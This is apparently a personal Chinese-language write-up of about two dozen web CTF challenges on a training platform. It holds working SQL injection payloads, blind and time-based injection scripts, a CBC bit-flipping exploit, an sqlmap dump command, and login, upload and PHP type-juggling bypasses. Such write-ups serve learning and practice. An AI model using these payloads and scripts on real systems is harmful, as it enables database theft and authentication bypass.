一.简单的登录题
进入首页以后是一个登录框
然后抓包的时候发现一个小提示:
p2
然后直接get这个文件下来看看.
其中test.php的源代码如下所示:
define("SECRET_KEY", '***********');#秘钥
define("METHOD", "aes-128-cbc");#cbc模式,一个模块加密以后拿去与下一个模块异或,然后下一个模块再加密
error_reporting(0);#设置错误报告等级,关掉所有的错误报告
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}#sql注入检查
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;#生成随机iv
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);#明文先进行序列化
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);#进行加密
setcookie("iv", base64_encode($iv));#iv进行编码以后放在cookie里面
setcookie("cipher", base64_encode($cipher));#cipher进行加密以后放在cookie里面
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){#检查cookie里面这两个值是不是
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){#尝试解密
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");#解密后反序列化
$sql="select * from users limit ".$info['id'].",0";#limit的用法是只查这一个用户开始之后偏移量为0的数据
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){#如果id不为空,检查并接收id
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);#创建一个数组
login($info);#这样的话其实就是拿id来加密了.....
echo '<h1><center>Hello!</center></h1>';
}else{#如果id为空,就检查iv以及cipher,不为空就进行检查
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{#啥都没有就相当于重新刷新首页
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}
看了源代码发现这是个aes-128-cbc模式加密代码.
截取一个包看看
p3
可以看到有ID的话其实只会显示hello,我们要进行sql查询flag就不能有id,但要有iv和cipher....
接下来看看大佬的解决方案怎么写的,代码如下:
# -*- coding:utf8 -*-
from base64 import *
import urllib
import requests
import re
def denglu(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
payload = {'id': payload}#ID是payload
r = requests.post(url, data=payload)发送post包出去,经测试赋值的时候就会出去了
Set_Cookie=r.headers['Set-Cookie']
iv=re.findall(r"iv=(.*?),", Set_Cookie)[0]#取下iv
cipher=re.findall(r"cipher=(.*)", Set_Cookie)[0]#取下cookie
iv_raw = b64decode(urllib.unquote(iv))#解码
cipher_raw=b64decode(urllib.unquote(cipher))#解码,unquote是把一些特殊字符的转义给解析回来
lst=list(cipher_raw)
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
cookie_new={'iv': iv,'cipher':cipher_new}
r = requests.post(url, cookies=cookie_new)
cont=r.content#r.content是返回包的内容
plain = re.findall(r"base64_decode\('(.*?)'\)", cont)[0]
plain = b64decode(plain)#解密明文
first='a:1:{s:2:"id";s:'
iv_new=''
for i in range(16):
iv_new += chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new = urllib.quote(b64encode(iv_new))
cookie_new = {'iv': iv_new, 'cipher': cipher_new}
r = requests.post(url, cookies=cookie_new)
rcont = r.content
print rcont#做两次是为啥
denglu('12',4,'2','#')
denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')#开始进行sql查询,这里可能需要加密知识不是很懂...
denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,'2','u')
这里涉及加密的内容,以后补上吧....
二.后台登录
进去了以后直接f12,看到提示
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
可以看到输入的点只有password一个,然后进行了md5加密.
这里科普一下php的md5函数.
运行实例如下:
Selection_001.png
可以看到raw这个参数是用来控制输出格式的,True的时候输出是16进制转字符串的结果,false的时候是输出普通16进制的结果.
那也就是说要直接有某个字符串,md5后转换为16进制包含
' or '
就可以了.Google了一波,发现已经有人发现这样的字符串了:
ffifdyop
操作如下:
Selection_002.png
flag就出来了.
三.加了料的报错注入
这道题一上来就是要你post username以及password然后直接上
p3
直接抓包的话是Get请求,所以需要在hackbar里面填数据,经过测试发现username以及password都是有注入点的.接着进行注入点fuzz测试一下过滤了哪些,发现username过滤了()等符号,但是没有过滤updatexml,password过滤了updatexml
于是可以利用这种不同地方过滤规则不一样的漏洞,通过http分割注入来进行get flag.
p4
payload:' and updatexml/*&password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1
可以get到数据库名称是error_based_hpf
接着利用这种分割注入(其实就是加入注释符号而已....)
然后就是查询表明,数据库名已经知道了,所以直接上payload:
payload:1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where (table_schema regexp binary '^error_based_hpf') ),0x7e),3)or'1
这里过滤了=,所以不能直接指定数据库,大佬说用like或者regexp代替,我试了一下like被过滤了,绕过方法可真是多种多样...
p5
[图片上传中...(Selection_001.jpg-bc5522-1550628832873-0)]
然后就是知道两个表是ffll44jj,users
接着获取列.
payload:username=1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where (table_schema regexp binary '^error_based_hpf') and (table_name regexp binary '^ffll44jj') ),0x7e),3)or'1
p6
然后查数据
payload:username=' and updatexml/*
&password=*/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or'1
p7
最终获取flag{err0r_b4sed_sqli_+_hpf}
四.认真一点
该题目首页如下:
p8
检测结果是空格会被过滤,空格过滤那就是用括号或者注释符来代替
逗号被过滤,直接sql detected,这里大佬说用from for可以代替,学一波,经测试是直接可以select mid(database() from(1) for(5))#选择数据库名称1到5位置的字符
然后if没被过滤,等于号没被过滤,然后学习一波大佬的盲注脚本
import requests;
import string
url='http://ctf5.shiyanbar.com/web/earnest/index.php'
s=requests.session()
ascii=string.printable
def exploit(payload):
payload=payload.replace(' ',chr(0x0a));
flag=''
for i in range(1,20):
for j in ascii:
temp=j;
data={'id':payload.format(i,temp)};
html=s.post(url,data=data);
if "You are in" in html.content.decode('utf-8'):
if j=='*':
j=' '
flag+=j;
print(flag);
break;
if __name__=='__main__':
exploit("0'oorr(mid(database()from({})foorr(1))='{}')oorr'0");#ctf_sql_bool_blind database name
exploit("0'oorr((select(mid(group_concat(table_name)from({})foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='{}')oorr'0")
exploit("0'oorr((select(mid(group_concat(column_name)from({})foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='{}')oorr'0")
exploit("0'oorr((select(mid((fl$4g)from({})foorr(1)))from(fiag))='{}')oorr'0")
这里第一的exploit是获取数据库名的,其中的{}老是看不明白,最后debug才发现原来是留白给后面format填充的.
p9
这个最好自己写一遍.....才明白啥意思
整理一下盲注脚本的思路就是不断用mid函数注入出来一个字母再比对这个字母是啥就可以了.
总结下那个盲注的思路就是利用mid函数探测每一个字符,通过一个个字符探测最后把那个flag名称拼接起来。
五.你真的会PHP吗
p10
然后就上burp发现一个hint...
p11
直接访问以后是一些php代码,应该是考php代码审计。。。
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxx";
ini_set("display_error", false);
error_reporting(0);
if(!isset($_POST['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");
die("have a fun!!");
}
foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}
function is_palindrome_number($number) {
$number = strval($number); #Convert any scalar value (string, integer, or double) to a string.
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])){
$info="sorry, you cann't input a number!";
}elseif($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";
}else{
$value1 = intval($req["number"]);#. intval()函数. 作用:. 获取变量的整数值.
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}
}
echo $info;
从代码审计中可以看出,首先number域不能为空,然后就是不能为纯数字,有is_numeric来判断,然后就是不能为一个回文数,这个是由is_palindrome_number来判断(PS:数字的特点是正反序是同一个数字),最后该数的翻转的整数值应该等于它本身的整数值,最后构建payload:0e-0%00....%00是用来绕过那个isnumber检查的
注意发送数据的时候要改成post不用get方法.
p12
六.登陆一下好嘛
这道题提示要用万能密码绕过,但是过滤了很多玩意..
p13
然后就是常见的fuzz,这里我自己写了个测试fuzz的框架,可以测试特殊字符哪些被过滤了.
import requests;
import string
url='http://ctf5.shiyanbar.com/web/wonderkun/web/login.php'
s=requests.session()
ascii=string.printable
def exploit_test(payload):
data = {'username':payload, 'password':'admin'};
headers={
'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
'Referer':'http://ctf5.shiyanbar.com/web/wonderkun/web/index.html',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5'
};
html=s.post(url,data=data,headers=headers);
r=html.content.decode("utf-8");
#print(r);
if 'username:'+payload+'</br>' in r:
pass;
else:
print(payload+' was pass');
if __name__=='__main__':
for i in ascii:
exploit_test(i);
测试结果是:
# was pass
* was pass
/ was pass
| was pass
所有ascii中这四个字符被过滤了,然后就是各种常见的sql注入函数,懒得搞看看别人的writeup说or,union,select也一样被过滤,所以'就没被过滤喽...
学一个新的万能密码:''=',如图
p14
select * from table where username= '''='' and password='''=''
所以到底这是啥意思,一脸懵逼,这里是直接绕过两个限制吗?那其他部分不报错?
七.Who You Are
这道感觉是日志污染?
p15
然后直接使用x-forwarded-for字段来污染,因为该字段会记录我们的ip地址给他.记住一句话,要发送数据一定要转成post方法....
然后就是fuzz阶段,测到如果是加了','以及后面的内容会被过滤,记得前面代替,的是mid from for.这道题考的是基于时间的盲注来着.直接上盲注脚本,这里学习一波case when then语句,先上一份找数据库名代码...
import requests;
import string;
import time;
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
s=requests.session()
ascii=string.printable
def exploit_test(payload):
#data = {'username':payload, 'password':'admin'};
flag='';
try1=0;
for i in range(1,5):#这里是建立在已知长度为4的情况下
for j in ascii:
headers = {
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'x-forwarded-for': payload.format(i,j)
};
start_time = time.time();
html = s.post(url, headers=headers);
r = html.content.decode("utf-8");
end_time = time.time();
if end_time - start_time > 8:
print('Now i is %s\n'%i);
flag+=j;
print('Flag:%s'%flag);
break;
else:
try1+=1;
print('%s+%s'%(try1,j));
if __name__=='__main__':
exploit_test("1' and case when (substring((select database()) from '{}' for 1)='{}') then sleep(10) else sleep(0) end and '1'='1");#判断数据库名称为web4
p16
探索表数量代码如下:
import requests;
import string;
import time;
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
s=requests.session()
ascii=string.printable
def exploit_test(payload):
#data = {'username':payload, 'password':'admin'};
flag='';
try1=0;
for i in range(1,7):
for j in ascii:
headers = {
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'x-forwarded-for': payload.format(j)
};
start_time = time.time();
html = s.post(url, headers=headers);
r = html.content.decode("utf-8");
end_time = time.time();
if end_time - start_time > 8:
print('Now table number is %s\n'%j);
flag+=j;
#print('Flag:%s'%flag);
break;
else:
try1+=1;
print('%s+%s'%(try1,j));
if __name__=='__main__':
#exploit_test("1' and case when (substring((select database()) from '{}' for 1)='{}') then sleep(10) else sleep(0) end and '1'='1");
exploit_test("1' and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema='web4') = {}) then sleep(10) else sleep(0) end and '1'='1");
经过探测表数量为2
总体过程如下:
判断数据库名称长度 1' and case when (length((SELECT concat(database())))<5) then sleep(3) else sleep(0) end and '1'='1,此句如果执行有延迟,则说明数据库名称小于5个字符,使用<4的时候,执行不成功,说明数据库长度为4个字符。
判断数据库名的各个字符,"1' and case when (substring((select database()) from %s for 1)='%s') then sleep(5) else sleep(0) end and '1'='1"%(i,each),其中ii为从第i个字符开始,for 1为取一个字符,each为ascii,从此句可判断数据库名为web4
查看数据库中表单的数量,1' and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema='web4') = 2) then sleep(3) else sleep(0) end and '1'='1;此句判断数据库中有两个表。
判断数据库表名长度,"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" % (i),其中i为长度。
判断数据库表名,"1' and case when(ascii(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each),其中ii为从第i个字符开始,for 1为取一个字符,each为ascii,找到表flag。
判断表flag字段,"1' and case when(ascii(substring((select group_concat(column_name separator ';') from information_schema.columns where table_name='flag') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each),得到字段flag。
判断表flag,字段flag中内容长度,"1' and case when(length(substring((select group_concat(flag separator ';') from flag) from %s for 1))='') then sleep(6) else 0 end and 'a'='a" %i。
获取flag值,"1' and (select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(10) else sleep(0) end ) and '1'='1"%(i,str)。
八.因缺思汀的绕过
web题目的思路,看源码,看请求,看响应...
源码里看到一个source.txt
p17
所以直接请求这个文件看看
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水�载舟,亦�赛艇�";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦�赛艇�";
}
}else{
print "一颗赛艇�";
}
mysql_close($con);
?>
看源码可以知道一共有三个绕过条件
- $filter = "and|select|from|where|union|join|sleep|benchmark|,|(|)";整个条件使用正则表达式来匹配,然后直接绕过就可以了(' or '1'#)
- if (mysql_num_rows($query) == 1) 这个是限制查询出来的数据只有一个数据列,使用limit 1就可以了.
- if(_POST['pwd'])这个要求我们post的pwd字段和目的结果集中的查询结果要一致,大佬们说用group by with rollup来解决这问题,使用这语句以后会在结尾插入一个null,然后使用limit offset语句来查询这个null,产生null=null的结果从而绕过该限制...
payload:uname=1' or 1 group by pwd with rollup limit 1 offset 2 #&pwd=
p18
九:简单的sql注入之3
这道题莫名其妙的,fuzz之后出现各种结果,不过要收集好的fuzz材料也是必须的...
然后看了一下说是空格做了特别处理,想起sqlmap的space2comment脚本,直接获取flag
sqlmap -r 44.txt -script=space2comment --dump -T flag -D web1
p19
十.天下武功唯快不破
这道题目的思路就是http返回包里有一个flag,经过base64编码的,然后获取这个flag解码以后变成key:flag.b64decode post出去,然后直接获取真正的flag回来就行了,代码如下:
import requests
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php" # 目标URL
response = requests.post(url,data={"key":"1"}) # 打开链接
flag =str(base64.b64decode((response.headers['FLAG']))).split(':')[1].rstrip("'")
# head = response.headers # 获取响应头
# flag = base64.b64decode(head['flag']) # 获取相应头中的Flag
print(flag) # 打印Flag
postData = {'key': flag} # 构造Post请求体
result = requests.post(url=url, data=postData) # 利用Post方式发送请求
# (注意要在同一个Session中 , 有的时候还需要设置Cookies , 但是此题不需要)
print(result.text) #
十一.让我进去
这道题一上来直接看源码,没发现啥,然后看请求响应也没看出啥,一脸懵逼,最后直接看了看writeup发现是修改cookie参数,我去....
p20
然后直接获取源码看下:
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
看下来要获取flag有几个条件...
1是账号为admin,密码不应该是admin,二是用户名密码加盐值,md5之后的数值应该和cookie领域getmein的值相等,网上说这道题目是做所谓的hash长度拓展攻击.
不说了文章看的一脸懵逼,密码学钻进去也是深的一撇.....
所以学大佬最简单的方法....
p21
还是一脸闷逼...
十二.拐弯抹角
首页直接给了一段源代码,如下:
<?php
// code by SEC@USTC
echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';
$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";
$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0;
//这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
$flag = "";
$stop = 1; //Pass
}
//第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
$flag = "";
$stop = 2; //Pass
}
//第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
$flag = "";
$stop = 3; //Pass
}
//第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
$flag = "";
$stop = 4; //Pass
}
//第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Not Pass
}
//第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
$flag = "";
$stop = 6; //Not Pass
}
//第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Not Pass
}
if(!$stop) $stop = 8;
echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
$code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
$code = str_replace('//Pass '.$i, '//Not Pass', $code);
echo highlight_string($code, TRUE);
echo '</body></html>';
这道题题目说的很明显了,就是要你访问/index.php,然后有几个要求,一个是不能出现../,./等各种跳字节符号,一个是只能用小写字母,一个是不能出现注释符,一个是不能与/indirection/index.php相同,最后是不能在index.php后面加' . '.所以构造一个index.php/index.php就可以了.
p22
这里介绍一下伪静态技术,就是把一些动态网站的url映射成静态的资源,当访问静态资源时后台自动解析洞动态的,这样是为了提高搜索引擎的seo权重...
十四.Forms
这道题目是很简单的做法,直接修改包头数据字段展示源代码就知道了
p23
那就直接告诉你pin的密码了,直接赋值给PIN就行了。。。。
十五:天网管理系统
这道题目做法也是直接隐藏在网络分组里面了,所以直接看分组
p24
提示我们要直接填充一个username,使得username md5后的值可以0匹配,网上一波搜索说是以oe开头的md5值就好随手找了一个。。。s155964671a
p25
出现一个新的url,所以直接访问出现一个代码。。。
p26
所以直接看到要对所谓的password字段做一个所谓的反序列化,使得出来的user字段和pass字段等于某个值,但是没说是什么值,所以看了writeup说是PHP中bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。(a代表array,s代表string,b代表bool,而数字代表个数/长度)
构造password值为: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
p27
赶脚PHP还是要好好学学。。。。。
十六:忘记密码了
这题首页要求输入邮箱,给了邮箱有给出step2.php的URL,访问URL又自动跳入step1.php的页面输入邮箱,所以只能抓包看看所谓step2.php代码有没有了,代码如下:
Frame 198: 334 bytes on wire (2672 bits), 334 bytes captured (2672 bits) on interface 0
Ethernet II, Src: Netgear_03:8a:d1 (e0:91:f5:03:8a:d1), Dst: AsixElec_be:23:02 (00:0e:c6:be:23:02)
Internet Protocol Version 4, Src: 106.2.25.10, Dst: 192.168.1.29
Transmission Control Protocol, Src Port: 80, Dst Port: 55251, Seq: 1449, Ack: 429, Len: 268
[2 Reassembled TCP Segments (1716 bytes): #197(1448), #198(268)]
Hypertext Transfer Protocol
HTTP/1.1 200 OK\r\n
Date: Tue, 02 Apr 2019 06:45:42 GMT\r\n
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29\r\n
X-Powered-By: PHP/5.3.29\r\n
Content-Length: 1511\r\n
Connection: close\r\n
Content-Type: text/html\r\n
\r\n
[HTTP response 1/1]
[Time since request: 0.040935000 seconds]
[Request in frame: 196]
[Request URI: http://ctf5.shiyanbar.com/10/upload/step2.php?email=youmail@mail.com&check=???????]
File Data: 1511 bytes
Line-based text data: text/html (55 lines)
<br />\n
<b>Notice</b>: Use of undefined constant email - assumed 'email' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>2</b><br />\n
<br />\n
<b>Notice</b>: Use of undefined constant check - assumed 'check' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>5</b><br />\n
<meta http-equiv=refresh content=0.5;URL="./step1.php">check error!<!DOCTYPE html>\n
<html>\n
<head>\n
\t<meta charset="utf-8" />\n
\t<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />\n
\t<meta name="renderer" content="webkit" />\n
\t<meta name="admin" content="admin@simplexue.com" />\n
\t<meta name="editor" content="Vim" />\n
\t<title>logic</title>\n
\t<style type="text/css">\n
\t\tbody,html{\n
\t\t\tposition: relative;\n
\t\t\theight: 100%;\n
\t\t\twidth: 100%;\n
\t\t\tpadding: 0;\n
\t\t\tmargin: 0;\n
\t\t\tbackground-color: #272822;\n
\t\t\tcolor: #fff;\n
\t\t}\n
\t\tform{\n
\t\t\tposition: absolute;\n
\t\t\ttop: 50%;\n
\t\t\tleft: 50%;\n
\t\t\twidth: 400px;\n
\t\t\tmargin: -70px -200px;\n
\t\t}\n
\t\tform input{\n
\t\t\tdisplay: block;\n
\t\t\tmargin: 10px auto;\n
\t\t\twidth: 100%;\n
\t\t\tborder: none;\n
\t\t\theight: 2rem;\n
\t\t\tborder-radius: 5px;\n
\t\t}\n
\t</style>\n
</head>\n
<body>\n
\t<form action="submit.php" method="GET">\n
\t\t<h1>\346\211\276\345\233\236\345\257\206\347\240\201step2</h1>\n
\t\temail:<input name="emailAddress" type="text" <br />\n
<b>Notice</b>: Use of undefined constant email - assumed 'email' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>49</b><br />\n
value="youmail@mail.com" disable="true"/></br>\n
\t\ttoken:<input name="token" type="text" /></br>\n
\t\t<input type="submit" value="\346\217\220\344\272\244">\n
\t</form>\n
</body>\n
</html>\n
\n
\n
\n
\n
可以看到他提交表格给了submit.php,但是无法直接访问submit.php。。。
p28
但是前面抓包的过程中有看到它提示编辑器是使用vim,联想到vim是使用交换文件的,于是构造交换文件.submit.php.swp,可以直接获取submit.php源码。。
p29
可以看到判断代码是要求token十位,并且必须是为0,那就0000000000就行了。。。还有必须是管理员邮箱。。
p30
十七: Once More
这道题目需要好好学习一下代码审计知识。。。
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
这道题目有三个限制条件,一个是不能出现非数字字母字符,一个是长度小于8且数字值要比9999999大,一个是必须包含-,然后看了writeup,发现ereg存在截断字符%00漏洞,所以直接构造payload:1e8%00-就直接获取flag了。。。
十八:Guess Next Session
这道题也是一道代码审计题目。。。
<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
看条件可知道,只要删除session,password也设置为空,就可以造成相等,达到效果。。。
所以。。
p31
所以直接修改session值,上面字段为空就行了。。。
十九:FALSE
这道代码审计要搞sha1碰撞,膜拜大佬。。。
我看了一下真正碰撞,只有Google搞出来下,但是需要PDF格式,这时候看看所谓的sha1函数,发现传入参数的格式应该是字符串类型,传入其他类型会导致输出false,还有这种操作。。。
构造payload:name[]=a&password[]=b就行了。。
二十:上传绕过
这道题目考得是用0x00来截断解决php不能上传的问题。。
p32
如何做呢,就是直接在uploads/后面加一个1.php+,然后切换到16进制把+的16进制改为00就行了。。这种截断还真是多。。
二十一:NSCTF
p33
这是一道解密题目,密码函数直接贴出来了,下面直接上我这段时间苦练的python功底了。。
import base64;
import codecs;
if __name__=='__main__':
str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
str=codecs.decode(str,'rot_13');
str=str[::-1];
str=base64.b64decode(str);
c='';
for i in str:
i=i-1;
c=c+chr(i);
print(c[::-1]);
二十二: 程序逻辑问题
这道题目源代码在网页源码里,如下:
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
代码明显存在注入点,在username处,然后password做了md5加密,所以主要是做了联合查询查个md5出来,使得与password相等就行,payload:Username' union select md5(1)#�
这样的查询语句就是 select pw from php where user='Username' union select md5(1)#�其中pw是md5(1),这样的话就查询出来了。
p34
二十三. what a fuck
这道题目上来完全不知道讲啥,看了writeup说是jsfuck编码,可以直接扔浏览器console解码
p35
二十四.PHP大法
源代码直接上来:
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
int eregi(string pattern, string string, [array regs]);
定义和用法
